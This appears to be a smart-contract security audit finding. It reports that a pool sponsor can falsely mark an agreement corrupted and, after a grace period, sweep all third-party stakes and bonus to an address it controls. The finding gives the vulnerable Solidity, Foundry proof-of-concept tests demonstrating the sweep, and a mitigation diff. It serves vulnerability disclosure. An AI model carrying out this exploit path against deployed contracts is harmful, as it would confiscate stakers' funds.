Root + Impact
Description
Describe the normal behavior in one or more sentences
Under the intended architecture, the independent pool outcome moderator decides whether a terminal agreement corruption affected this pool's scope and whether it was a good-faith whitehat event. The permissionless auto-CORRUPTED branch exists only as a 180-day fallback when that moderator remains unavailable.
Pool creation is restricted to IAgreement.owner(), and the factory initializes the same caller as the pool owner. The upstream registry independently stores the agreement owner as that agreement's attackModerator.
Once the global registry moderator legitimately approves the agreement into UNDER_ATTACK, the financially interested sponsor can call upstream markCorrupted(). That function requires no on-chain proof of loss, sets the terminal CORRUPTED flag, and makes the upstream bond claimable rather than imposing a mandatory slash.
The in-scope pool treats the resulting sponsor-created registry flag as sufficient for mechanical bad-faith CORRUPTED settlement after the grace period. The same sponsor controls the pool's mutable recoveryAddress, and claimCorrupted() sends the complete pool balance there.
This composes two disclosed privileges into an undisclosed settlement lever: the sponsor controls both the external predicate that activates the fallback and the address that profits from it. The protocol documentation discloses sponsor control over recoveryAddress, but it does not disclose that the sponsor is normally the upstream role authorized to manufacture the terminal condition consumed by the fallback.
The upstream registry remains an out-of-scope dependency. The in-scope root cause is the pool's use of a financially interested, sponsor-controlled registry transition as an objective substitute for independent outcome-moderator judgment.
```solidity
function createPool(
address agreement,
address stakeToken,
uint256 expiry,
uint256 minStake,
address recoveryAddress,
address[] calldata accounts
) external returns (address pool) {
if (IAgreement(agreement).owner() != msg.sender) {
revert UnauthorizedCreator();
}
IConfidencePool(pool).initialize(
agreement,
stakeToken,
address(safeHarborRegistry),
defaultOutcomeModerator,
expiry,
minStake,
recoveryAddress,
msg.sender,
accounts
);
}
function _registerAgreement(
address agreementAddress,
address agreementOwner,
address[] memory contracts
) internal {
s_agreementInfo[agreementAddress] = AgreementInfo({
attackModerator: agreementOwner,
deadlineTimestamp: block.timestamp + PROMOTION_WINDOW,
promotionRequestedTimestamp: 0,
attackRequested: true,
attackApproved: false,
promoted: false,
corrupted: false,
isRegistered: true
});
}
function markCorrupted(address agreementAddress)
external
onlyAttackModerator(agreementAddress)
{
ContractState currentState = _getAgreementState(agreementAddress);
if (
currentState != ContractState.UNDER_ATTACK
&& currentState != ContractState.PROMOTION_REQUESTED
) {
revert AttackRegistry__InvalidState(currentState);
}
s_agreementInfo[agreementAddress].corrupted = true;
_markBondClaimable(agreementAddress);
}
function claimExpired() external nonReentrant {
IAttackRegistry.ContractState state = _observePoolState();
if (
state == IAttackRegistry.ContractState.CORRUPTED
&& riskWindowStart != 0
) {
if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
revert AgreementCorruptedAwaitingModerator();
}
outcome = PoolStates.Outcome.CORRUPTED;
corruptedReserve = snapshotTotalStaked + snapshotTotalBonus;
claimsStarted = true;
return;
}
}
function setRecoveryAddress(address newRecoveryAddress) external onlyOwner {
recoveryAddress = newRecoveryAddress;
}
function claimCorrupted() external nonReentrant {
uint256 toSweep = stakeToken.balanceOf(address(this));
stakeToken.safeTransfer(recoveryAddress, toSweep);
}
## Risk
**Likelihood**:
The agreement owner creates the pool, retains pool ownership, and remains the upstream per-agreement `attackModerator`.
The independent global registry moderator legitimately approves the agreement from `ATTACK_REQUESTED` into `UNDER_ATTACK`, which is a normal lifecycle transition rather than a compromised-registry assumption.
Third-party users stake after evaluating the documented pool parameters, and a pool interaction records the active risk window, permanently disabling withdrawal.
The sponsor calls `markCorrupted()` while the upstream state is `UNDER_ATTACK` or `PROMOTION_REQUESTED`; the function completes without presenting proof that an actual loss occurred.
The independent pool outcome moderator remains unavailable until `expiry + MODERATOR_CORRUPTED_GRACE`, and no earlier settlement latches a different outcome.
Any account, including the sponsor, calls `claimExpired()` and `claimCorrupted()` after grace. No pool-outcome-moderator authorization is required at that stage.
The required global registry approval and 180-day pool-moderator absence substantially reduce likelihood, supporting Medium rather than High severity.
**Impact**:
* Impact
A malicious sponsor can convert an authorized upstream role into the confiscation of all third-party staker principal.
The sponsor also captures the entire bonus balance through its selected `recoveryAddress`.
The sponsor can update `recoveryAddress` after users have funded the pool, allowing the final recipient to differ from the address users observed when staking.
The upstream bond becomes claimable on the sponsor-driven `markCorrupted()` path, so no mandatory equivalent economic penalty protects pool stakers from a false terminal declaration.
The fallback defeats the intended separation between the sponsor and the independent pool outcome moderator precisely during the moderator-unavailability condition it was designed to handle.
## Proof of Concept
The following PoC demonstrates that, after DAO approval into `UNDER_ATTACK`, the sponsor can call `markCorrupted()` as the agreement's `attackModerator` and reclaim the upstream bond.
```solidity
function test_AgreementOwnerCanCreateCorruptedStateAndRecoverBond()
external
{
address[] memory contracts = new address[]();
contracts[0] = contract1;
Agreement testAgreement =
_createAgreementWithContracts(sponsor, contracts);
vm.prank(sponsor);
attackRegistry.requestUnderAttack(address(testAgreement));
vm.prank(registryModerator);
attackRegistry.approveAttack(address(testAgreement));
assertEq(
attackRegistry.getAgreementState(address(testAgreement)),
IAttackRegistry.ContractState.UNDER_ATTACK
);
assertEq(
attackRegistry.getAttackModerator(address(testAgreement)),
sponsor
);
vm.prank(sponsor);
attackRegistry.markCorrupted(address(testAgreement));
assertEq(
attackRegistry.getAgreementState(address(testAgreement)),
IAttackRegistry.ContractState.CORRUPTED
);
BondDeposit memory deposit =
attackRegistry.getBondDeposit(address(testAgreement));
assertTrue(deposit.bondClaimable);
uint256 sponsorBefore = bondToken.balanceOf(sponsor);
vm.prank(sponsor);
attackRegistry.claimBond(address(testAgreement));
assertGt(bondToken.balanceOf(sponsor), sponsorBefore);
}
The second fragment proves the in-scope pool consequence using the pool fixture. The unrestricted mock setter represents the terminal state whose sponsor-controlled production reachability is proven by the upstream fragment above.
function test_SponsorCreatedCorruptionSweepsThirdPartyPool()
external
{
_stake(alice, 100 * ONE);
_stake(bob, 50 * ONE);
_contributeBonus(carol, 25 * ONE);
_passThroughUnderAttack();
assertTrue(pool.riskWindowStart() != 0);
address sponsor = pool.owner();
vm.prank(sponsor);
pool.setRecoveryAddress(sponsor);
attackRegistry.setAgreementState(
IAttackRegistry.ContractState.CORRUPTED
);
vm.warp(pool.expiry() + pool.MODERATOR_CORRUPTED_GRACE());
uint256 sponsorBefore = token.balanceOf(sponsor);
uint256 aliceAfterStake = token.balanceOf(alice);
uint256 bobAfterStake = token.balanceOf(bob);
pool.claimExpired();
assertEq(
uint256(pool.outcome()),
uint256(PoolStates.Outcome.CORRUPTED)
);
assertTrue(pool.claimsStarted());
pool.claimCorrupted();
assertEq(token.balanceOf(sponsor) - sponsorBefore, 175 * ONE);
assertEq(token.balanceOf(alice), aliceAfterStake);
assertEq(token.balanceOf(bob), bobAfterStake);
assertEq(token.balanceOf(address(pool)), 0);
}
The role assignment, sponsor-authorized markCorrupted(), claimable bond, mechanical pool outcome, mutable recovery destination, and full-balance transfer are each explicit in the cited code paths. A final integration test can wire the pool directly to the real upstream registry, but it does not require an additional vulnerability or unauthorized dependency transition.
Recommended Mitigation
Do not use a sponsor-authorized registry flag as sufficient evidence for a sponsor-benefiting principal sweep. Preserve the normal moderator path, but require independent provenance for the mechanical fallback.
A robust design should expose whether CORRUPTED was confirmed by the global registry moderator, an independent verifier, or a verifiable loss-proof mechanism. The pool should accept only that independently confirmed form for automatic principal confiscation. A sponsor-created terminal state can remain available to the normal pool outcome moderator as evidence, but it should not replace that moderator automatically.
+ // Set only from an independent DAO/verifier attestation, never from
+ // the agreement owner or per-agreement attack moderator.
+ bool public independentlyConfirmedCorruption;
+ function confirmCorruption(bytes calldata independentProof) external {
+ if (!fallbackVerifier.verify(agreement, independentProof)) {
+ revert InvalidCorruptionProof();
+ }
+
+ independentlyConfirmedCorruption = true;
+ emit CorruptionIndependentlyConfirmed(msg.sender);
+ }
function claimExpired() external nonReentrant {
IAttackRegistry.ContractState state = _observePoolState();
- if (
- state == IAttackRegistry.ContractState.CORRUPTED
- && riskWindowStart != 0
- ) {
+ if (
+ state == IAttackRegistry.ContractState.CORRUPTED
+ && riskWindowStart != 0
+ && independentlyConfirmedCorruption
+ ) {
if (block.timestamp < expiry + MODERATOR_CORRUPTED_GRACE) {
revert AgreementCorruptedAwaitingModerator();
}
outcome = PoolStates.Outcome.CORRUPTED;
// ...
}
}
function setRecoveryAddress(address newRecoveryAddress) external onlyOwner {
+ // Defense in depth: prevent post-funding recipient substitution.
+ if (totalEligibleStake != 0 || claimsStarted) {
+ revert RecoveryAddressLocked();
+ }
+
recoveryAddress = newRecoveryAddress;
}
Where independent confirmation cannot be added, the safer fallback is to avoid transferring principal to a sponsor-controlled address automatically. The contract can hold funds pending governance recovery, use a neutral escrow with a challenge period, or select the staker-favorable EXPIRED outcome. Freezing recoveryAddress after funding is useful defense in depth, but it does not by itself fix the sponsor's control over the fallback predicate.